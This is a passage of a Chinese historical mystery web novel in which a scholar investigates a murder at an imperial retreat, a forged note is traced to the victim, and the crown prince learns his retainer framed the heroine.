方云婷一怔,因已经被耍了一道,不敢率先回答,她亦奇怪,姐姐受寒吃药,卧床休息,怎会突然死在这里? 于是看向连翘,连翘浑身哆嗦,道:“娘子夜里积食,说要出来走走,婢子见外面风大,所以回去拿衣裳,出来却不见娘子踪影,找了一圈又担心娘子没见到婢子率先回去了,结果,婢子回去后,还是没见到娘子,再出来就遇见了有人传唤婢子。” 方云婷一怔:“你胡说,你说姐姐感染风寒,你去熬药给姐姐喝。” “娘子的确是染了风寒,婢子原是要去煎药,但是娘子说不要让您知晓,免得让你担忧,所以,婢子见到您询问就撒谎了。” 太子转首问刘管事,刘管事招来带连翘过来的侍从,侍从说的确是在来的路上遇见的连翘。 事情询问到这一步,各执一词,无法分辨,便在这时,有一名跟随赵曦前来行苑的三等小内侍,忽然在门口徘徊,服侍在赵曦身边的大内侍瞧见了,眼神一厉,退了出去。 回来后,大内侍在赵曦耳边低语一句,赵曦扫了一眼乔文川,对众人道:“孤现在有些累了,今夜暂且到此为止,明日一早,再继续审问。” 说罢,命人将几位重要人证看押,就要起身离去。 一直保持沉默的陆霁,忽然上前一步,挡在赵曦面前,拱手作揖,道:“太子殿下,请容许草民来查这桩案子。” 第56章 “你是?”太子侧头询问。 陆霁垂首道:“草民姓陆, 单名一个霁,受恩师提携,在国子监任读, 商七娘子是草民的师妹。” 江昱眼眸微眯,思及他能顷刻间察觉自己摸透抽签顺序的隐秘, 心知此人明察秋毫,有几分本事,便没有阻止。 商凝言连忙上前解释:“家父乃是忠勤伯府商三爷, 曾经在岭南就任, 陆兄心细如发,刚直正义,家父十分欣赏,故而一同带回京城,让他来查,绝不会徇私舞弊。” 乔文川冷笑:“随便一个小子, 也能来办案, 那要京兆尹何用?他是商家人,让他来查, 如何公允?” “那让我来查吧。”江昱截胡。 “你?”赵曦问,“你方才说,你也有话要说,你先说说你为何也在这里。” 江昱拿出一张字条, 道:“不巧的很, 我与这位商七娘一样, 也收到一张字条,约我亥时初前来。”说着,他将字条字面朝上, 在前面几位重要人物眼前滑过。 最后停在朱先生面前,道:“不知先生能否帮我认识一下,这是谁的字迹?” 书画一体,涉及专长,朱先生失了紧张,接过字条仔细辨认,待仔细看过字条之后,她神色有些尴尬,对着太子递过来的眼神,道:“此字乍看乃是商娘子字迹,但是字体圆润,运笔娴熟,不难窥探出,有一丝婉娘子控笔的影子。” 方云婷大惊失色。 “怎么说?”赵曦问。 朱先生答:“婉娘子工书善墨,尤善临仿,且诸体皆精,一手能出百般翰墨。艺馆搜集名家孤本,或是稀世珍画,皆由其暗中临摹,留置存档。寻常人无法察觉,但是为防止真假混淆,我曾仔细研究过婉娘子笔锋,因此,这才能有所察觉。” “宝器蒙尘,束之高阁,不过是孤芳自赏,艺馆摹古,其情可鉴,更是义举,先生不必挂怀。”赵曦安抚。 转眼却看到江昱讥笑的面容,不由心中一怒,语气平静,问道:“你与死者认识?她为何要借商娘子,约你半夜见面?” 江昱顿时笑了,这一笑,眉眼生动,“这京城还有不认识我的女娘吗?至于为何是商娘子——” 他略作停顿,掀起眼眸,凝向商凝语,嘴角的笑意微敛。 商凝语心口一跳,眼底渐渐爬上一丝惊惶。 江昱口气轻松,骤然拿出字条,并开口就是“这位商七娘”,言语间,带着玩世不恭的口吻,让她以为,他也是个混不吝的,插科打诨,插手其中,目的是为了让事情更加复杂。 但是,他此刻目光忽然凝过来,那一瞬间,她仿佛似曾相识,就觉得,他要造事。 果然,在商凝语惊惶的眼神下,江昱认真道:“那是因为我倾慕于七娘子。” 说完,他很快转开目光,状似随意道:“只是不知婉娘子如何知晓的,私下约我出来又是为何,不过,这可以问问乔大公子,乔大公子,你好端端的,半夜为何忽然至此?” 在场众人,心中震惊不知凡几,不少人惊讶于江世子竟然早有爱慕之人,商凝语咬紧牙龈,撇眼避开他的视线。 陆霁一眼看到她阴沉的面容,垂下眼睑,不知心中所想。 商凝言则皱起眉头,面露不喜。 乔文川倨傲道:“我的人来报,说艺馆有女学子偷偷跑到南庭来了,我特意同知刘管事一声,过来查看。” 他身后的侍从立刻前来表示,自己是半夜闲逛,偶遇一女娘乱窜,不敢声张,又担心出事,特意禀报给大公子,刘管事也作证,道自己的确是因乔大公子引荐所以前来。 乔文川道:“既然你对商娘子有意,自然也不能让你来查,谁知你会不会徇私舞弊?” “既然如此,那就还是让这位陆公子来吧,”江昱转变得很快,“一来,他是白老先生的门生,品行应当正值,二来,他任读国子监,将来有科举入仕的意向,料他在太子眼皮子底下不敢徇私。” 这个理由说服了在场诸位,更有甚者,立刻猜测这位陆学子平日不显山不露水,今日忽然毛遂自荐,是不是正是为了在太子面前露这一脸。 乔文川还想再说,却被赵曦抬手制止,赵曦和颜悦色道:“陆霁,此案暂且交给你去查,孤信你定能秉公查处,有任何结果,先报来予孤知晓。” 陆霁道:“是。” 说罢,吩咐佟绥将商凝语和赵烨城,包括方云婷以及连翘在内,看押起来,而后带着乔文川离开。 月上中天,夜风带着刺骨的冷意,从敞开的门扉里钻了进来。 就在几人目送太子离开之际,江昱已经去到隔壁,将商凝语偷偷丢下的氅衣捡起来,回到小屋,走向商凝语。 在点翠的搀扶下,商凝语缓缓起身,见到他去而复返,手里拿着氅衣,慌忙躲到点翠身后。 江昱脚步不停,让人毫不怀疑,他要推开点翠,强行给她罩上外衣。 若是在今日之前,她必然要严词拒绝,但眼下这个情状,显然不适合为这种无谓的事争执。 “江世子,婢子带了衣衫给娘子。”点翠一向瞧主子脸色行事,主子强她强,主子弱她弱,比如方才,面对方云婷的质问,她能毫不犹豫地反驳,但眼下,她没来由地感到一阵心虚。 江昱捏着氅衣,目光锁在躲于侍女身后的女娘身上,她双目微垂,不愿触碰的视线昭示着她想回避,但他知道,这还是一种坚持,是她自以为无法反抗,惯于用来达到目标的手段。 江昱眼眸骤深,她这是不打算再与他有任何来往了。 一想到令她如此固执的人,他感到一阵锥心刺骨的疼痛,须臾,将氅衣收回,淡声道:“把你的字条给我。” 关乎正事,商凝语不敢躲避,觑了一眼在屋外往回走的几人,她低声快速道:“我没有带在身上,在我的妆奁里,待会让点翠拿给你。” 江昱点头,却道:“我去找就行,让她在这儿陪着你。” 商凝语没有拒绝,她不知道江昱要字条做什么,抿了抿唇,道谢的话却也没说出口。 眼见太子离开,刘管事自然不能也回去休息,叹了口气,对陆霁道:“陆学子,你想如何查?” 陆霁说:“我想先去看看尸首。” 刘管事无话可说,见朱先生面色再次惨白,客套几句,叫她也回去休息,剩下的人,就只剩江昱、商凝言、他自己,以及得太子授意,留下监视的佟绥。 几人一同往隔壁屋前去,陆霁仔细查验尸体,恰好,先前负责查尸的弟子也在,二人低声交流,对方说什么,陆霁仔细聆听,偶尔淡淡回应,却不作任何揣测。 商凝言不会查案,只能在一旁看着。 自从太子走后,刘管事面色就沉了下来,此刻,挪到江昱身边,小声道:“你与我老实说,是不是有事瞒着我?” “岂敢,”江昱站在门槛内,背靠门板,盯着陆霁的一举一动,口气淡淡,“监学里有何事能瞒得过您的眼睛?” 刘管事却是不信,商三爷回到京城才几日,他略有耳闻,这小子平日不是招猫就是逗狗,与商七娘根本碰不着面,大概也就是那么几次去艺馆,认识了人,但能教婉娘子发现,肯定是出了不小的事。 “你别糊弄我,有话早点对我说,我可以帮你。”刘管事受过长平长公主的恩惠,想要助江昱一臂之力。 “如何帮?” “此女三心二意,不值得留恋,借此机会,给她一个教训。”刘管事自以为过来人,又作为半个长辈,口气不忿,言道。 江昱木着脸,道:“多谢,不过不必了,我信她,人不是她杀的,她和赵烨城也素不相识。” 赵烨城有什么好,她要是能选赵烨城,为何不选他?他不信她连这点利弊权衡都不会! “为何?” “她一个弱女子,能杀人?” “倒也未必是她一个人杀的,赵烨城是个男的,二人联手,只是二人露水情缘,情感不深,以致东窗事发,互相攻歼。” 江昱深呼一口气,压下心底的燥气,道:“太子让你来查案,不是让你编排话本,您若是不会查案,也请遵守本责,看好现场。” 刘管事被斥,也不恼,啧了一声,不再盘问,眼睛盯着陆霁翻看死者后脑勺。 须臾,他再次开口,口气认真许多,道:“此人身正严明,刚正不阿,老先生私下评论,此子将来为官,定有董宣之风,无论去何地为官,都是当地百姓之福。” 他暗示,“虽然商娘子不是凶手,但赵世子也未必就是凶手,你可想好,待他查出真凶,要如何办?” 江昱静默。 陆霁查完尸体,说要再去二位女娘的住处查看,刘管事也不推迟,带着几人去往方云婉的住处。 进入西庭,有一处落锁的大门,陆霁询问刘管事,这道门是何时锁上的,钥匙又是在谁的手上,刘管事会意,派人去查看守门锁的嬷嬷,以及半夜在附近巡逻的守卫。 去往小院的路上,刘管事早先一步吩咐下去,让还住在里面的女娘全部不要出来,但是院中忽然多出几个男人,还是引起了小小的骚动,不过,朱先生并未真的歇下,立刻出来安抚住了诸位女娘。 很快,庭院里亮起了火把,灯火通明下,陆霁询问商凝语的屋舍,朱先生回答后,几人来到门前。 就在陆霁伸手推门之际,江昱双眉微皱,但很快,他就发现自己胡思乱想了。 只见陆霁面色严肃,毫无波澜,仿佛一位清白官身,到了这里,单纯只为扈下子民,查案平冤。 第57章 商凝语的屋子很简陋, 这是临时到别院写生的日子,居住时间短,室内摆设都是行苑曾经的样子, 中间放置着一张桌子一张圆凳,床靠北墙, 旁边放着洗脸架,靠东窗有一张窄桌,下置矮凳。 此刻, 床幔半拢, 床头褥子折叠,有些许凌乱,床脚放着叠置整齐的衣衫,靠窗的桌子上放着一个简陋的妆奁。 陆霁一目了然,在几个容易藏东西的角落翻找,一无所获, 转头请朱先生查验那一摞衣衫时, 江昱已经走到妆奁前,打开下面的小抽屉, 只见几支样式简陋的银簪下,压着一张素白纸以及一小块白绢。 白绢上的字迹歪歪扭扭,再加上娟布轻薄,无法辨识笔迹, 他只扫了一眼, 就打开素白纸, 瞧见上面的字迹,眸光渐凝,不知想到了什么, 嘴角渐渐漾出一丝微笑。 陆霁回过头来看到他,神色微顿,缓步走上前,道:“能否将字条给我看看?” 江昱无所谓,将字条递给他。 陆霁看过,疑惑发问:“不知这字迹,是否与江世子的字很像?” 商凝言震惊,“陆兄?” 陆霁平静地扫他一眼,没有说话,复又看向江昱,问:“不知你与商娘子,熟稔程度有几许?” 江昱轻笑,二人对视,他反问:“不知陆公子问出此言,是凭何身份,是太子暂定的判官,还是,商七娘的——好友?” “在下受太子所托,前来查询,还请世子禀实相告。”陆霁如清风朗月般,平静道。 江昱也不纠缠,回:“远远不足陆公子与商家的亲善程度,但比泛泛之交略深一筹。” 陆霁静默一瞬,又道:“那这个字迹,是你的字吗?不知商娘子是否认得你的字迹?” “陆兄,”商凝言不满道,“你在怀疑什么?” 陆霁心叹一口气,一字一句,郑重道:“我在查案,商贤弟。” 商凝言面色铁青,撇开脸。 江昱挑眉,无声一笑,再次回:“这不是我的字迹。” 他语调停顿片刻,看着陆霁道,“不过,商娘子认不认识我的字,我就不知道了,这个你应该去问她。” 他声调微扬,带着某种无法言喻的挑衅,陆霁却不理,点头,神色如常地将字条交给刘管事收起来,而后走出屋子,询问跟上来的朱先生,死者方云婉的住处在哪里。 方云婉的屋子略显女气,一进屋子,脂粉香气扑面而来,床上红幔垂地,便是妆奁,也比商凝语的繁杂许多,里面金钗朱簪堆积如山。 有了前车之鉴,朱先生主动上前,去翻找方云婉的床褥、妆奁以及放置一旁的箱笼,而陆霁面色沉静地查看除了私密以外的地方。 在妆奁里没找到预料中的东西,他并未气馁,转而去寻找其他物什,最后在床底下找到一双鞋。 这是一双较为朴素的女鞋,鞋面以银白色为底,刺绣缠枝花纹,鞋底厚实,只是沾了些泥土,大约是室内潮气湿重,泥土未干,陆霁捻出一撮,放在鼻尖闻了闻。 商凝言小心地问:“可查出什么来了?” 陆霁摇头,又起身四处查看一番,然后走出屋子,对刘管事道,他要再在行苑四处走走,刘管事见他似乎盲目寻找,却也不好多说,只有应他,说话间,几人走出院子,刘管事哈欠连连。 陆霁便道:“刘先生不如回去歇息,剩下的,找个引路人给我就行。” 刘管事向来作息稳定,熬到此刻已是强弩,江昱也道:“你去休息,我给陆公子当引路。” 这行苑,江昱来过不止一次,而且依照他的品行,到了一处,不将此地游个底朝天必不罢休,让他来当向导,再合适不过,刘管事也不再推迟,背着手离去。 剩下三人,沿着西庭外围小径,往南庭方向漫步走去,月黑风高,陆霁手持火把,不知在找什么,甚至不知发现什么稍稍加快脚步,不知不觉地就将剩余二人甩至身后。 商凝言心中挂念妹妹,眉头就一直没松开过,此时,忍不住责怪江昱:“江世子让人封锁行苑时,可有想过,万一有人对我妹妹不利,家父赶至不及,该怎么办?” 江昱面不改色,淡声反问:“难道六郎遇到难事,就只能依靠家族和令尊来解决?” 商凝言一噎,话到嘴边,却倏地闭上嘴。 江昱挑眉,“看来你已经知道是谁要害她,所以担心自己无能为力?” 小径幽深,左右两旁树影丛丛,只有前后方屋檐下的灯笼发出微弱橘光,照亮不堪辨别的四周,风声萧萧,陆霁又沉浸在思绪里走得太快,以至于二人脚下暗淡无光,身影双双被夜色掩埋。 商凝言思及父亲对江昱的评价,又考虑他先前几次解围,斟酌再三,道:“方娘子与人私通,我略知一二,也知道她为何只给你与我妹妹写信,她是想陷害你二人,但是,我可以肯定,人不是我妹妹杀的,凶手只有两个人,我更倾向于另一位,只是,无论是谁,我都没有能力救下她,江世子,你我不知你的心意究竟有几分是真的,但是眼下,能不能帮忙想想办法,将消息送出去,通知我阿爹?” 江昱有些惊讶,没想到商凝语会将她那点事告诉家里人,听商六郎话中意思,商三爷也知晓。 这一瞬间,他忽然产生一丝艳羡。 有家人分忧,与家人无话不说的这种信任,他很早就没了。 他忽然好奇,问:“她对家人,都没有秘密的吗?” 商凝言本不欲回答这个问题,但是眼下有求于人,他换了种方式回答:“我阿爹说过,家人是最值得信任的盟友,我遇到事,也会向阿爹请教。” 虽然,他向阿爹请教的大多是学问。 江昱笑道一声:“还真是令人羡慕。” 怪不得,一向清冷的商四娘也愿意与她亲近,一个人能对家人坦诚相见,干干净净,多么难得。 他忽然对她又多了一重认识。 她似乎不喜欢那些阴暗伎俩。回想那日,她明明已经心动,很想让他教授茶艺,她明明可以虚与委蛇,或是哀求,或是事后反悔,但是她都没有耍这些小手段。 没有任何言语文饰,便是以退为进,也是坦坦荡荡,是他,一头栽进去,却不自知。 “你放心,在封锁行苑之前,我就已经派人通知了外面,绝不会叫她有事。” 江昱给予承诺。 商凝言没有多疑,松了口气,道谢。 江昱加快脚步,快步追上陆霁,问:“究竟查的怎么样?有没有办法证明她的清白?” 陆霁起身,望着小道尽头,道:“我需要再找找,有一样东西还没找到。” “你要找什么?告诉我,我带你去找。”江昱接道。 陆霁道:“找一棵梅树。” 江昱一愣,旋即眼中闪过精光,愉悦道:“确定是梅树?” 陆霁稍显迟疑,“应该是,不会错。” 江昱笑了,脚步换个方向,在前引路,商凝言追上前来,就听他说:“此地乃是皇家别苑,景色优美,但要数最美的地方,自然是只有太子所在的武试片区,那里有山泉,四季如春,此时正是梅花盛开之际。你要找梅花,只能在那里才有。” 陆霁颔首,脚步跟上。 商凝言眼皮一跳,急忙拉住陆霁,此时三人已经走出小道,停在一处光火通明的屋檐转角处,双侧檐下灯笼烛火跳动,照亮三人的身影。 江昱似笑非笑,转过头来看着二人。 商凝言面色焦急,问:“你没听到他说吗?只有太子所在的武试片区才有,那是太子,你为何要去太子所在的地方找梅花?” 陆霁不明所以,望了眼四周,顺着商凝言拉扯的衣袖方向回站一步,道:“死者脚上沾了梅泥,我在这附近都没有见到梅树,可见她生前不止约了凝语妹妹和江世子,还去寻了其他人,得把这个人找出来,才能了解案件真相,才能还凝语妹妹清白。” 商凝言一愣,“可,可是,你是说,是太子?” 陆霁疑惑:“太子怎么了?” 商凝言觑了一眼江昱,而后拉着陆霁走到屋檐下,环顾四周,确定四下无人,掩嘴在陆霁耳边将方云婉与乔公子和太子的私情说了一遍。 江昱难得主动给二人把风,远离二人走了几步,好整以暇地立在空旷之处。 陆霁眉头越锁越紧,商凝言说完,叹了口气,道:“若是太子,我们就不查了,待阿爹到了这里,你再将现有的证据呈交给太子,只要救出我妹妹就成,其他的,就不要节外生枝了。” 陆霁立在原地,夜风轻袭,吹得灯笼晃动,闪烁的烛火照亮他的面容,却见他眼眸光色始终清明。 江昱敲打在臂上的手指缓缓顿住,他也很好奇,陆霁会选择怎么做。 阒寂的夜里,书生的声音乘着寒风,不急不徐地飘来。 只听他沉静道:“便是如此,更要查个清楚,否则,先生要如何与太子交涉?”—— 作者有话说:最近几章写得很顺,但是不知道我的读者们看着什么感受[害羞] 明天暴真相了,希望没有写漏[托腮] ps,下一刀感觉已经很近了,但是写着写着又好远[爆哭]死手,加油!!! 第58章 “不行。”商凝言焦急道, “你还要入仕,万一,我是说万一, 你得罪了太子,将来科考, 要怎么办?” 尚未科考就已经得罪太子,若是传出去,别说入仕, 就是科考, 都是艰难险阻。虽说科考只以才学为量尺,但科考是为入仕,入仕被拦截,科考又有何意义? 陆霁静默,须臾,目光转移, 向江昱看来, 他眼神沉寂,如一潭平静无波的湖水, 让人看不出其真实想法,但那一身清骨,仿佛又叫人一眼看透,勿须猜疑。 二人对视, 江昱心中一动, 大约猜出他心中所想, 眸光轻颤。 商凝言还在低声劝说,“我阿娘,你是知道的, 十分在乎门第,否则,就我那几个表兄,谁不愿意娶呦呦?我舅舅和阿公不知说过多少次,但都被我阿娘给拒绝了。先前我们匆匆回京,个中原因暂且不提,眼下我阿娘好不容易松口,我想,你应该能猜到这是为何。” “自从回到京城,呦呦受过许多委屈,但她都不在乎,只想深入局中,亲自尝试,用现实的证据向阿爹阿娘证明,你比那些徒有其表的纨绔子弟更加适合她,她在阿爹阿娘面前力保你,一颗心全系在你身上,你若没有官身,我阿娘绝不会答应这门亲事,你仔细想想,她连与你的未来都规划清楚了,你要将她置于何地?” 陆霁面色发白,平静的眼眸终于有了一丝触动,然而,这些情绪转瞬即逝。 “但是,我若不查出有力的证据,就无法证明她的清白,即便是先生来了,与太子周旋,她得以安全回家,又如何?这个污点就将永远洗不干净,焉知将来会不会有人再拿此事做文章?届时,那就真的是百口莫辩。” 他说:“她喜洁,附骨之疽,终是隐患,她不会愿意身上留下这样一个污点。” 他又道:“眼下她只是有些慌乱,所以言语有些出入,但事情过后,我想,她宁愿当真去京兆府,让官府大动干戈,甚至弄得人尽皆知,也想真正的还她一个清白,而不是由先生去交涉,将事情按压下来。” 他言之凿凿,商凝言怔住,“可是” “没有可是,”陆霁抬手制止,“只是查个真相,还不至于得罪太子。” “凶手做得太干净,我查不出真凶,只能先替凝语妹妹洗脱冤屈,至于其他,就等先生来吧。”旋即,他露出今晚第一个舒心的笑容,拍了拍商凝言的臂膀,宽慰道,“我一定会高中,最差不过是去偏远地方当个主簿,相信师娘不会嫌弃。” 他一无家世二无背景,只能凭借先生的一点厚爱,在京中暂时落脚,但他来京城已有一些时日,对忠勤伯府在京城的现状已有些许了解。 虽说是伯府,却也只是苟延残喘,借着先祖留下的恩泽和儿女姻亲才能勉强跻身权贵末端,这对他来说,将来高中,能尽快谋得一官半职,远调出京就已经是很不错的结果。 商凝言无言以对,但也只好作罢,江昱见二人回来,抬步上前带路。 陆霁那一番坚持要为商凝语洗冤的话并未刻意压制,他听在耳中,若有所思,觉得陆霁是故意说给他听的。 几人循着南庭,往东北方向去往中庭,此番寻找颇费了些功夫,直至天际泛白,才在太子住处不远处找到陆霁要寻的那棵梅树。 夜间山中露重,花丛濡湿,梅树下,花瓣零散一地,只见两只较为深入的脚印刻在花泥里,最重要的是,梅树旁缠绕着荆棘,尖锐的针刺上,到现在还残留着几滴干涸的褐色血迹。 这厢三人的动静很快被传递到太子赵曦跟前,赵曦所住的屋舍在行苑正中,殿宇宏伟气派,四周全是守卫,来往巡逻者甚密。 从小屋回来,乔文川就跪在偏屋,两个多时辰过去,不曾挪动半步。 赵曦一夜未曾合眼,冬日清晨亮得早,东方破晓时分,他立在东向的大窗前,眺望灿阳旭升,身后站着东宫属官黄杨,黄杨双手覆叠,垂目噤声。 一名东宫内侍,倒一杯茶水,送到赵曦跟前,道:“殿下要保重身体,便是不躺下休息片刻,喝杯茶,醒醒神也好。” 黄杨连声附和,赵曦抿了一口茶水,挥了挥手,叫人退下,内侍无法,和黄杨对视一眼,只好无声地离开。 须臾,一名侍卫在门外请示,赵曦听闻动静,直接吩咐他进来。 侍卫立在距离太子十步远处,行礼后,道:“属下无能,为防止被那几人知晓,耽误了些功夫,请殿下责罚。” 赵曦摆手,“先说说怎么回事吧。” 侍卫道:“乔公子所言,句句属实,方娘子事先在香琳居备下了合欢香,而后引商娘子前去,商娘子警惕,没有立刻出发,而是拖延至亥时初,才到了香琳居。” “前日半夜,方娘子先勾引了一位南庭的巡逻护卫,帮他拿到了两处看守的门锁钥匙,而后又收买了看守西庭的嬷嬷,拿到了中间锁门的钥匙,昨日半夜,她只身前来,说要寻太子您,侍卫正要来禀,恰巧被乔公子撞见,乔公子担心太子声誉,想要引她离开,谁知方娘子不愿,乔公子又担心惊动其他人,才将她打晕带走。” “不巧的是,赵世子夜间饮了些酒,出来散步时,撞见了二人,乔公子心知方娘子还有后手,遂偷偷抓了方娘子的侍女前来,一番逼问后,就决定让赵世子演这一出借刀杀人。” “原本只要按照赵世子的诬陷,就可以嫁祸成功,乔公子赶到之后,直接将人锁拿送去京兆府,待京兆府立案罪名成立,就万无一失了,只是都没想到,方娘子约的人是商七娘。” “后面又来了一个方娘子事先约见的‘见证人’,而这个‘见证人’竟然是江昱,赵世子惊慌之下,证词有误,让二人钻了空子,不得已,监学和艺馆两位主事只好来求助殿下。” 后面的事,就一目了然了。 为了控制方云婉的死亡时辰,乔文川并未立即杀死方云婉,而是等到方云婉要陷害的人来了才动手,等人来了,他发现人是商七娘,就赶紧将消息传给赵烨城。 在花卉赛中,商七娘给乔文川留下些许印象,只是他没想到,赵烨城渲染太多导致露馅,最重要的一环还是江昱,他不知道江昱爱慕商七娘,也不明白方云婉约江昱前来的意义,最终功亏一篑。 这是一个不太缜密的栽赃嫁祸计划,只要乔文川赶到及时,就能以迅雷不及掩耳之势给来者定罪,届时,方家大闹,来者因奸情暴露,无论是侍女还是女娘,主家便是赶到京兆府也已经晚了,事情板上钉钉,也不会有人去翻案。 可偏就是如此凑巧,有个江昱。 乔文川现在只想求赵曦,赶紧将商七娘送去京兆府,商四娘是殿下马上迎入东宫的侧妃,商家若是知晓真相,嫡长女和次女,孰轻孰重,相信商三爷能有明智的决断。 正是因为有此打算,江昱提出请示太子时,乔文川没有过多阻拦,江昱提出要封锁行苑,他更是心生窃喜。 江昱乃是纨绔,虽然尚未听闻过关于他的任何花色流言,但纨绔怎会有真情,不过是贪图一时新鲜,先前在香琳居,也没见他对商七娘有多维护,可见,只要太子下旨,他也不会阻拦。 侍卫查了一夜,赵曦听完,了解了整个事件过程,不由得揉了揉额头,立在一旁的黄杨,对太子几次放纵做下的绯色事件了如指掌,此刻也是叹息,方家人行事向来中规中矩,没想到一个女娘,竟也能惹出这种事端。 这要是真的让她得逞,商家女儿中,姐姐婚事在即,妹妹勾引姐夫,传出去,太子的贤名就算彻底毁了。 他思索片刻,道:“乔公子一心为了殿下,引走方娘子情有可原,事出突然,能想出如此计策,也算是心思缜密,还请殿下不要再责怪他了。” “既然乔公子办事干净,眼下,拿下商娘子的确是最好的办法,殿下若是担心商三爷责难,下官可以代劳,永绝后患。” 赵曦在窗前来回踱步,沉吟片刻后,道:“待会,让那位名叫陆霁的书生前来见孤。” 他不想将事情做得太绝,因为上次的事,商明惠对他已经渐渐疏离,若再出此事,只怕商明惠还未进门,就与他离心,这对他并不利。 “殿下,”黄杨则想到更多,拧着眉峰,道:“江昱此人奸诈,并不可信,得尽快决断才行,再者,郊外有禹王虎视眈眈,江昱封锁行苑未免也太蹊跷,就怕他虚张声势,实则早已下手,通知了苑外之人,若等商家或是禹王的人到了,就一切都迟了。” 赵曦望着远处渐升的朝阳,许久,深叹一口气,道:“后山有清泉,放她逃吧,别做得太明显。” 第59章 便是在众人忙碌的时候, 商凝语也没闲着,香琳居的偏侧小屋内,被看押的几人打起了嘴仗。 商凝语有点翠陪着, 坐在靠北的椅子上,起先撑在桌面休憩了最困顿的半个时辰, 赵烨城坐在她对面,面色变幻不定,不知在想什么。 方云婷和连翘以及她自己的侍女端坐在靠近门的位置, 三伙人成三角对立方位。 侍卫守在门外, 窗门紧闭,室内静谧无声,彻底清醒后,商凝语就开始用十分鄙夷轻蔑的眼神看着赵烨城,嘴角微勾,让人想忽视都难, 看得他心中直发毛。 赵烨城调换了姿势, 但还是如芒在背,如坐针毡, 终于他忍不住,开口问:“你总盯着我做什么?” 商凝语早已在心中目测了一下这室内几人的实力,若是打起来,赵烨城就是个草包, 他们联手, 她和点翠都能对付, 因此,她将心中的愤怒毫无掩饰的释放出来。 “看你蠢,自己将自己卖了都不知道。” 赵烨城顿时从椅子上跳了下来, “你这个女娘,死到临头还骂人,小心我揍你。” 商凝语嗤的一声,“方才是谁被我揍着跑?谁死还不一定呢,马上就要大难临头了还不自知,在这儿洋洋得意,说你蠢都是便宜你。” 她说得十分笃定,仿佛已经洞察一切,丝毫不担心自己的安危,只等那几个人回来就能证明她的清白。 对方是否清白,赵烨城自然知道,顿时噎住,目光闪烁地看了一眼同样盯着他看的方云婷主仆几人,结巴道:“你胡说什么呢,我告诉你,死死的一定是你。” “为什么死的就一定是我?”商凝语笑了,“是叫你胡编乱造的人告诉你的?” 她转头看向方云婷,道:“我几时来的,想来你应该有数,我能在这么短的时间寻到你姐姐,然后引她至此,再因为和某个畜生私相授受被你姐姐发现,将她杀害,你觉得可能性有多大?” 方云婷心中也存了疑,显然,姐姐的行为不当在先,但是她现在不知道该相信谁。 商凝语对赵烨城说:“凶手是不是我,你这个真凶,哦不,帮凶,应该比我清楚,赵世子,我有个问题想问你,不知你能不能回答?” 赵烨城被她前半句勾得心虚,吞咽了一口吐沫,道:“什么问题?” “你是怎么走到这里来的?” 赵烨城心生警惕,“我我自然是你约见出来的,你说有话要对我说。” “我说赵世子,你怎么还活在戏文里不走出来呢?”商凝语无语,“江昱可是拿出证据,证明是有人将我和他一起约到这里来的,我也有证据,等他们回来,就可以将证据拿给你看。” 赵烨城一怔。 商凝语露出讥讽的笑容,“你瞧瞧,你都不知道发生了何事,就来掺和一脚,也不怕闪了腰,丢了性命。” 方云婷听她口气不对,疑惑道:“那你知道是怎么回事?” “我当然知道,”商凝语拘着下巴,而后眼中露出一丝邪魅,语调温柔地询问:“你们知道为什么方云婉会约我和江昱吗?” “为什么?”问的人是赵烨城。 商凝语轻轻道:“因为江昱有一次为了救我,故意让方云婉误会了我和他的关系。” 她又很快问道:“那你们知道,江昱为何要救我吗?” “江世子方才说了,他爱慕你。”方云婷不耐烦道,“你想说便说,何必总是卖关子?” “错,”商凝语一口打断,语气轻柔地道,“是因为他不小心遇见方云婉和乔大公子私通,又一不小心将人引至我跟前,害得我差点被灭口。” 一石惊起千层浪。 赵烨城浑身一个哆嗦,倏地跳上椅子蹲着环顾四周,仿佛在静谧无垢的空气中流淌着什么可怕的东西。 方云婷则瞬间眼神变得奇怪,面容微微扭曲。 连翘咬牙,瞪着商凝语。 商凝语心中趟过一丝快感,道:“连翘,今晚打破我的窗子,催我出发前来的人,是你吧?” 连翘撇开眼,“我不知道你在说什么。” “点翠说人是我们院子里的,见她冲出来,才转道跑了出去,所以我才立刻让她去敲你们的门,果然,你们都不在。” 说着,她叹息道:“只怪我也蠢,明明怀疑了,却还是来了,我应该晚点来,反正你家娘子都是要死的,我不如过来看看尸体,或许还能看看是谁杀的她。” “你胡说,娘子就是你杀的。” 商凝语挑眉,掷地有声道:“你家娘子约我是在戌时末,但是约江昱是在亥时初,显然,是她想害我。” 连翘哑口,商凝言心中有多愤怒,语调就有多轻柔。 “啊对了,忘了告诉你,我进那屋的时候,闻到屋内有一点香味儿。你们都忘了我是谁,我是商三爷的女儿,在岭南从小长到大,什么香料没闻过?我阿爹断的案子没有一千也有八百,像你们这种栽赃嫁祸,使用伎俩的阴私手段,我早就见识过。” “方云婉想陷害我和别的男人,然后引江昱撞破,一来,为之前我撞破她的奸情灭口,二来,是为前日方云婷你的事出气,三来,她真正的目标是那个男人,大概她也找不到其他女娘了,只有我恰好合适。” “那你们想想,那个男人是谁?”她提出致命一问,用目光欣赏着对面男人逐渐惊惧的神情。 旋即得意道,“你看,你是不是要死了?替别人背黑锅,不灭你的口,是不是都对不起你这过人的演技?” 赵烨城团缩在椅子上,眼神彷徨,面容愈发苍白。 商凝语仿佛还不够,还要继续刺激他,“这是退一万步的说法,是我的罪名成立,你,才能被灭口。可如果我是清白的呢,我有家兄和好友帮忙,还有物证,我不会被冤枉了,那这个真凶是谁?凶手,又只能是谁?” 她用几乎明了的眼神看着赵烨城,赵烨城抖如筛糠,不一会儿,额间就冒出了密密麻麻的细汗。 就连方云婷也不禁猜测,若是她说得是真的,凶手会是谁?但是! 真正的凶手,是谁已经不重要了! 商七娘疯了,她把这件事抖落出来,方家的名声彻底毁了,她以后还要怎么嫁人?她几乎能想象到,御史的奏折弹劾到祖父面前,墙倒众人推,方家一夜颓败的模样。 连翘联想到自己,两眼一翻,晕厥过去。 方云婷又羞又怒,浑身发抖,赵烨城哆哆嗦嗦,感觉自己的确是大意了,还以为只是一场简单的交易,谁知道不明不白地就将自己也送进去。 他大口大口地呼吸,感觉像是被一条无形的鬼锁住咽喉,喘不过气来,待他下了决心,决定给自己留一线时,仿佛又活了过来。 他看向方云婷,道:“方小娘子,凶手不是我,也不是她,是——” “赵世子。”一道声音在门外骤然响起,双门被人推开,商凝语看到一个面容陌生的中年男人立在门口,对她笑道,“商娘子真是好口才,这个时候了,还不忘鼓动人心。” 商凝语心中一突,透过中年男人的身影,朝外望去,只见刘管事先前吩咐佟绥派来盯梢的两名侍卫,远远地,垂首立在门外。 